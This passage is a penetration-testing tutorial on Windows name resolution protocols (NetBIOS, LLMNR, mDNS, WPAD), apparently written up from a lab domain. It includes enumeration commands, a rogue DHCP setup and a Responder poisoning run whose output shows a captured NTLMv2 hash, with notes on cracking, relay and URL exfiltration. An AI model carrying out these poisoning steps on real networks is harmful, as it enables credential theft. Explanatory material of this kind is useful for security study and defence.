NetBIOS (Network Basic Input/Output System) is an OSI Session Layer 5 Protocol (and it is not related with the computer BIOS). It was developed in 1983 to allow applications in the same LAN (Local Area Network) to communicate between them. NetBIOS became very popular and used by many different applications, however, it was not able to communicate them on different networks. Therefore, in 1987, the NBT (NetBIOS over TCP/IP) protocol was created (RFC 1001 and RFC 1002) to make NetBIOS work over TCP and UDP protocols and allow applications that used NetBIOS to communicate over internet.
It is divided in three services, one, the NetBIOS Name Service, used for resolving the NetBIOS names, and two services, NetBIOS Datagram and Session, for transporting messages (similar to TCP and UDP).
.-----
|
.------. .---
| NBNS |--UDP-->| 137
'------' '---
|
.-------. .---
| NBDGM |--UDP-->| 138
'-------' '---
|
.-------. .---
| NBSSN |--TCP-->| 139
'-------' '---
|
'-----
NetBIOS Datagram Service
The NetBIOS Datagram Service or NetBIOS-DGM or NBDGM is similar to UDP. It is used as transport layer for application protocols that requires a connectionless communication. The server will be listening in the UDP port 138.
NetBIOS Session Service
The NetBIOS Session Service or NetBIOS-SSN or NBSSN is similar to TCP. It can be used as transport for connected-oriented communications. It uses the 139/TCP port.
NetBIOS Name Service
From a pentest perspective, maybe the most interesting NetBIOS service is NBNS (NetBIOS Name Service) that listens in the port 137/UDP. This service allows to:
- Resolve NetBIOS name to an IP address
- Known the status of a NetBIOS node
- Register/Release a NetBIOS name
The NetBIOS names, in contrast with the DNS names, are not hierarchical, and only work in the local network. These names are made up of 16 bytes, where the first 15 bytes are used to store the name, in uppercase letters, and last byte indicates the type of the resource that has the name, which can be a hostname, domain name, a file service, etc. To watch the NetBIOS names of the local Windows machine, you can use the nbtstat -n command.
C:\Users\User>nbtstat -n
Ethernet 2:
Node IpAddress: [192.168.100.10] Scope Id: []
NetBIOS Local Name Table
Name Type Status
---------------------------------------------
WS01-10 <20> UNIQUE Registered
WS01-10 <00> UNIQUE Registered
ETHERDRAKE <00> GROUP Registered
As we can see, several names of different types are shown. In order to identify them you can use the following table that contains the most common names, but there are many more.
| Number | Type | Usage |
|---|---|---|
| 00 | UNIQUE | Hostname |
| 00 | GROUP | Domain name |
| 01 | GROUP | Master Browser |
| 1D | UNIQUE | Master Browser |
| 1E | GROUP | Browser service |
| 20 | UNIQUE | File server |
The NBNS protocol was implemented by Microsoft as WINS (Windows Internet Name Service). In a network, each Windows computer has a WINS database that stores the available network resources, as well as its netbios and domain (or workgroup) name. Moreover, a WINS server can also be setup, that works like a DNS server with NetBIOS names.
Therefore, in order to resolve a NetBIOS name there are two available strategies. The first one is to query to the WINS server to resolve the name. If this is not possible, then the query can be sent to the IP broadcast address, waiting for the answer from the target computer. A NBNS name resolution is performed when a NetBIOS name is used to connect to another machine, for example, in a command such as net view \\name. In Linux machines is possible to use the nmblookup utility to resolve NetBIOS names.
It must be noted that, in case of a broadcast request, any computer can respond to the query, so it allows to an attacker to impersonate the real computer. This is one of the tactics followed by responder.py and Inveigh to collect NTLM hashes.
Also, it must taked into account that NBNS is not used if any other protocol can resolve the name request. The order of preference is the following:
- DNS
- mDNS
- LLMNR
- NBNS
Additionally, in case of knowing the IP of a NetBIOS node, you can ask it about its services. In a Windows machine this can be done with the nbtstat command.
C:\Users\User>nbtstat -A 192.168.100.4
Ethernet 2:
Node IpAddress: [192.168.100.3] Scope Id: []
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
WS02-7 <00> UNIQUE Registered
ETHERDRAKE <00> GROUP Registered
WS02-7 <20> UNIQUE Registered
ETHERDRAKE <1E> GROUP Registered
ETHERDRAKE <1D> UNIQUE Registered
☺☻__MSBROWSE__☻<01> GROUP Registered
MAC Address = 52-54-00-A4-8C-F2
In the nbstat output you can see the hostname, the domain (or workgroup) name, and several services of the machine, specified by the type. You can check the meaning of type column in this table.
Furthermore, it is possible to use this capability to perform a NetBIOS scan in a network and discover machines and services. This can be accomplished with nbtscan or nmap script nbtstat.nse, from both Windows or Linux.
root@debian10:~# nbtscan 192.168.100.0/24
192.168.100.2 ETHERDRAKE\DC01 SHARING DC
192.168.100.7 ETHERDRAKE\WS02-7 SHARING
*timeout (normal end of scan)
In case you are connected to the network through proxychains, this won't work since proxychains doesn't redirect UDP connections.
Moreover, NBNS also allows to NetBIOS nodes to register and release their names. When a node is connected to the network, it sends a registration message to the WINS server, or if this not possible, a broadcast message. Also, when the node leave the network it should send a message to release the name, what doesn't usually happen.
It should be note that NBNS/WINS is considered a legacy protocol so its use is discouraged. However, it can be still found working in many Windows networks, since it is enabled by default for compatibility reasons.
📢 LLMNR
LLMNR (Link-Local Multicast Name Resolution) is a descentralized application protocol similar to DNS that allows to resolve hostnames in the same local network, which means that its packets are not forwarded by routers and are only transmited in their network segment. It is included in Windows since Windows Vista, and is the third preferred method to resolve names. The order of preference is the following:
- DNS
- mDNS
- LLMNR
- NBNS
In a Windows network, the computers are listening into the port 5355/UDP and to resolve a name, the client sends a LLMNR query to the multicast address 224.0.0.252 (FF02:0:0:0:0:0:1:3 in IPv6). The queries follow the DNS format and can be use to ask not only for names, but also any other question supported by DNS.
LLMNR ---> | 5355/UDP '---
The common case is use LLMNR to resolve names in local link by sending A DNS queries. In this case, the computer that has the queried name should response. But, of course, the query can be responded by anyone, even by an attacker to perform a PitM attack. This is one of the tactics used by responder.py and Inveigh to recollect NTLM hashes in networks with Windows machines.
📡 mDNS
mDNS (multicast DNS) is a descentralized application protocol, similar to LLMNR, based on DNS that allows to resolve names in local networks, which means that its packets are not forwarded by routers and are only transmited in their network segment. It is included in Windows 10, and is the second preferred method to resolve names after DNS.
- DNS
- mDNS
- LLMNR
- NBNS
In a Windows network, the computers are listening into the port 5353/UDP and to resolve a name, the client sends a mDNS query to the multicast address 224.0.0.251 (FF02::FB in IPv6). The queries follow the DNS format and can be use to ask not only for names, but also any other question supported by DNS.
mDNS ---> | 5353/UDP '---
The common case is use mDNS to resolve names in local link by sending A DNS queries. In this case, the computer that has the queried name should response by sending the answer to the multicast address 224.0.0.251, this way, any computer in the network can obtain the answer and cache it. But, of course, the query can be responded by anyone, even an attacker to perform a MITM attack. This is one of the tactics used by responder.py and Inveigh to recollect NetNTLM hashes in networks with Windows machines.
🌐 WPAD
The WPAD (Web Proxy Auto-Discovery) is a protocol for browsers to get dynamically a file that indicates the proxies they should use. The file indicating the proxies is a PAC (Proxy Auto-Config) javascript file that contains a FindProxyForURL function that is invoked by browsers when they navigate to a site.
function FindProxyForURL(url, host) {
if (host == "example.com") {
return "PROXY proxy:80";
}
return "DIRECT";
}
Even if the WPAD protocol is not used by default, it can be found in enterprise environments, since many companies use proxies to watch its traffic. WPAD can be configured in browsers or system settings, or even by using a GPO.
To find the PAC, the browsers usually look for it in http://wpad.<domain>/wpad.dat. Another URL can also be set by DHCP.
In order to resolve the wpad.<domain> the OS send a DNS request. In the past, Windows machines use to send also an LLMNR or NetBIOS request if DNS fails, but since MS16-077 security update, the broadcast resolution of WPAD is disabled.
Moreover, you cannot create the wpad DNS record by using DNS dynamic updates through DNS or DHCP, or directly with LDAP. This is because is protected by the Global Query Block List (GQBL).
So, even if in the past this attack was very popular, today your better chance is to configure a malicious DNS server in the victim, by using DHCP or manually to resolve wpad to your host.
$ sudo dhcplayer server -I eth2 -v --domain etherdrake.local
INFO - IP pool: 192.168.100.1-192.168.100.254
INFO - Mask: 255.255.255.0
INFO - Broadcast: 192.168.100.255
INFO - DHCP: 192.168.100.44
INFO - DNS: [192.168.100.44]
INFO - Router: [192.168.100.44]
INFO - Domain: etherdrake.local
INFO - DISCOVER from 52:54:00:76:87:bb (ws01-10)
INFO - Offer 192.168.100.121
INFO - REQUEST from 52:54:00:76:87:bb (ws01-10)
INFO - Requested IP 192.168.100.121
INFO - ACK to 192.168.100.121 for 52:54:00:76:87:bb
Additionally, it seems that in the past it was possible to ask for basic HTTP authentication in the wpad request. However, I tried with different browsers (IE, Edge, Firefox and Chrome) but I was unable to make it work. Only when NTLM was required (using responder.py) the victim browser downloads the wpad file.
$ sudo responder -I eth2 -wF 1 ⨯
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.0.6.0
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [ON]
Auth proxy [OFF]
.......
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [ON]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Fingerprint hosts [OFF]
.......
[+] Listening for events...
[*] [DNS] A Record poisoned answer sent to: 192.168.100.121 Requested name: .wpad.etherdrake.local
[HTTP] User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Edg/90.0.818.66
[HTTP] User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Edg/90.0.818.66
[HTTP] User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Edg/90.0.818.66
[HTTP] User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Edg/90.0.818.66
[HTTP] NTLMv2 Client : 192.168.100.121
[HTTP] NTLMv2 Username : ETHERDRAKE\User
[HTTP] NTLMv2 Hash : User::ETHERDRAKE:bab86818f6898114:4E4B01D6F205A8BAED8383384C34E4BB:0101000000000000342A94C0D853D7018430129FD734A90600000000020008004E0032003200360001001E00570049004E002D003900330034004C0048004600510045004B0044004800040014004E003200320036002E004C004F00430041004C0003003400570049004E002D003900330034004C0048004600510045004B00440048002E004E003200320036002E004C004F00430041004C00050014004E003200320036002E004C004F00430041004C000800300030000000000000000100000000200000F160EE2502E164FA02569EF7A5CFA08BC2C34A7C4843E74A8E6E5A4683CF1EEA0A001000000000000000000000000000000000000900120048005400540050002F0077007000610064000000000000000000
[HTTP] WPAD (auth) file sent to 192.168.100.121
Apart from getting the NTLM hash to crack, this could be useful for NTLM relay attacks, since the HTTP doesn't required sign in NTLM and therefore it can be used with any other protocol in NTLM cross-protocol relay attack.
Moreover, to serve the PAC file to the victim will allow you to execute some javascript code as the victim, which could be used to exfiltrate the visited URLs.